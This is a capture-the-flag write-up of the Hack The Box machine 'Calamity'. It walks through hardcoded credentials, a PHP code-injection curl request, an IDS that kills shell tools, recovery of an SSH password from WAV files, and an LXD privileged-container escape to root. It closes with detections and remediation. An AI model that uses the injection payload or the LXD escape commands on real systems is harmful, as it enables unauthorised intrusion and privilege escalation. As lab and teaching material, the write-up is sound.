Skip to content
Back to all posts

HTB: Calamity

· 20 min hard Linux Calamity

A 32-bit Linux box with hardcoded credentials, a PHP code injection endpoint, audio steganography for SSH credentials, and an LXD group membership that provides a container escape to root.

Overview

Calamity is a hard-rated Linux machine running Ubuntu 16.04 on a 32-bit i686 architecture. The box presents two services: SSH and an Apache web server hosting a “Brotherhood Software” page. The attack chain moves through four distinct phases: credential discovery in HTML source, PHP code injection via an admin panel, audio file analysis to recover SSH credentials, and privilege escalation through LXD group membership.

What makes Calamity interesting is the layered defence between initial RCE and a usable shell. An IDS process monitors and kills common penetration testing tools (nc, python, sh), forcing the attacker to find alternative approaches. The intended privilege escalation involves a 32-bit SUID buffer overflow binary, but the LXD group membership provides a faster path to root.

Reconnaissance

I start with a service scan to identify what is listening:

nmap -sC -sV -oA nmap/calamity 10.129.12.219
PortServiceProduct / VersionNotes
22SSHOpenSSH 7.2p2 Ubuntu 4ubuntu2.2Ubuntu 16.04 Xenial
80HTTPApache 2.4.18 (Ubuntu)“Brotherhood Software”

Two services. The SSH banner places this on Ubuntu 16.04, which went EOL in April 2021. The attack surface is limited to the web application.

Web Enumeration

The main page is a minimal HTML page with an image (leet.png). Directory fuzzing reveals two interesting paths:

ffuf -u http://10.129.12.219/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
PathStatusNotes
/admin.php200Login form
/uploads/301Empty directory listing

Attack Surface Analysis

admin.php: hardcoded credentials in HTML (CWE-798)

The login form at /admin.php has an unusual quirk: the field labels are swapped (the “Password” label sits on the username field, and vice versa). More critically, viewing the HTML source reveals a comment containing the password: skoupidotenekes.

Logging in with admin / skoupidotenekes sets a cookie (adminpowa=noonecares) and redirects to an “HTML interpreter” page. The cookie name and value tell you everything about how seriously this application treats security.

HTML interpreter: PHP code injection (CWE-94)

The admin panel presents an HTML interpreter that accepts input via the html GET parameter and renders it server-side. PHP tags are not filtered, which means this is not an HTML interpreter at all; it is an arbitrary code execution endpoint.

Vulnerability Analysis

The HTML interpreter vulnerability is a textbook CWE-94 (Improper Control of Generation of Code). The html parameter value is passed directly to a PHP evaluation function without sanitisation. Any PHP code within <?php ?> tags executes as www-data (uid 33).

AttributeValue
CWECWE-94 (Code Injection)
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Root causeUnsanitised input passed to PHP eval/include
PrerequisiteAdmin cookie (obtained via hardcoded credentials)

The combination of CWE-798 (hardcoded credentials) and CWE-94 (code injection) creates an unauthenticated RCE chain. The admin cookie value is static and predictable; anyone who reads the HTML source bypasses authentication entirely.

Exploitation

Phase 1: RCE as www-data

I confirm code execution with a simple id command:

curl -b "adminpowa=noonecares" \
  "http://10.129.12.219/admin.php?html=%3C%3Fphp%20echo%20system('id');%20%3F%3E"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Phase 2: IDS evasion

A host-based IDS monitors process names and kills anything containing nc, python, or sh. This blocks standard reverse shell techniques. Kill events are logged to /home/xalvas/intrusions. The IDS is process-name based, which means it is trivially bypassed with compiled binaries or renamed executables; but the box is teaching you to look for alternative paths rather than brute-forcing through defences.

Phase 3: credential recovery from WAV files

Filesystem enumeration through the PHP injection reveals the user xalvas at /home/xalvas/. Two WAV files are present in the home directory: recov.wav and alarmclocks/rick.wav. A file called dontforget.txt references peda (a GDB exploit development framework), hinting at the intended buffer overflow path.

Analysis of the WAV files yields the SSH password: 18547936..*.

ssh [email protected]
# Password: 18547936..*

This grants an interactive shell as xalvas (uid 1000) and the user flag.

Phase 4: privilege escalation via LXD (CWE-250)

The xalvas user is a member of the lxd group:

id
# uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),108(lxd)

LXD group membership is functionally equivalent to root access. Any user who can create privileged LXD containers can mount the host filesystem inside the container with full read/write permissions.

# Transfer Alpine minirootfs to target
lxc image import alpine-minirootfs-3.18.0-x86.tar.gz --alias alpine

# Create privileged container with host root mounted
lxc init alpine pwned -c security.privileged=true
lxc config device add pwned host-root disk source=/ path=/mnt/root
lxc start pwned

# Read root flag
lxc exec pwned -- cat /mnt/root/root/root.txt

The container runs as root with the entire host filesystem available at /mnt/root. Game over.

Alternative: SUID buffer overflow

The intended privilege escalation path is a SUID binary at /home/xalvas/app/goodluck. The source code (src.c) reveals a struct with a buffer overflow: a debug() function copies 100 bytes into a 64-byte stack buffer. The .gdbinit file sources peda, confirming this is the intended challenge. The LXD path was faster, but the buffer overflow is the more instructive exercise on a 32-bit system with no ASLR.

Post-Exploitation

With root access via the LXD container, a real attacker would:

  • Harvest credentials from /etc/shadow (likely weak hashes on a 2017-era Ubuntu 16.04 installation)
  • Check for SSH keys in /home/*/.ssh/ for lateral movement
  • Examine the IDS implementation to understand the organisation’s security monitoring capabilities (process-name-based detection is trivially evaded)
  • Use the host as a pivot point for internal network reconnaissance

Defensive Analysis

PhaseMITRE ATT&CKDetection
Initial AccessT1190WAF rules blocking PHP tags in query parameters
Credential AccessT1552.001Source code review catching hardcoded credentials
ExecutionT1059.004auditd alerting on shell spawns from Apache worker processes
PersistenceT1078.003SSH authentication logs for the xalvas account
Privilege EscalationT1611Container creation events from non-admin users
Defence EvasionT1609LXD audit logs showing privileged container creation

The host-based IDS that kills nc/python/sh is a useful concept but a poor implementation. Process-name-based detection is the weakest form of endpoint monitoring. A compiled binary, a statically linked reverse shell, or even a renamed copy of netcat bypasses it entirely. Proper EDR solutions monitor system calls and network behaviour, not process names.

Remediation

PriorityActionEffortImpact
P0Remove hardcoded credentials from HTML sourceLowCritical
P0Disable PHP execution in the HTML interpreterLowCritical
P0Remove xalvas from the lxd groupLowCritical
P1Replace process-name IDS with proper EDRMediumHigh
P1Patch or remove the SUID binary; apply stack canariesMediumHigh
P1Rotate all credentials (admin panel, xalvas SSH password)LowHigh
P2Upgrade to a supported Ubuntu release (16.04 is EOL)HighMedium
P2Disable directory listing on /uploads/LowLow
P3Apply AppArmor profiles to www-dataMediumMedium

The LXD privilege escalation is the most consequential finding. Group membership in lxd is root-equivalent, and this is by design: LXD’s security model assumes that anyone with container management permissions is trusted. The fix is simple: remove xalvas from the group. The deeper question is why a regular user had container management permissions in the first place.

Key Takeaways

  1. Hardcoded credentials in HTML are not authentication. The admin panel’s security rests entirely on the assumption that nobody will view the page source. This is CWE-798, one of the most basic web application vulnerabilities, and it appears with depressing regularity in real engagements.

  2. Audio steganography is a legitimate data exfiltration and credential storage vector. WAV files can carry embedded data that survives casual inspection. In a forensics or incident response context, audio files deserve the same scrutiny as images and documents.

  3. LXD group membership is root-equivalent. This is not a vulnerability in LXD; it is the intended security model. The vulnerability is granting that group membership to a user who should not have it. The same principle applies to the docker group, the disk group, and any other group that provides direct hardware or container runtime access.

  4. Defence-in-depth requires defence at every layer. The IDS blocking reverse shell tools was a reasonable control, but it was the only control. With no WAF, no input validation, no credential management, and no privilege separation, a single bypass rendered all defences moot.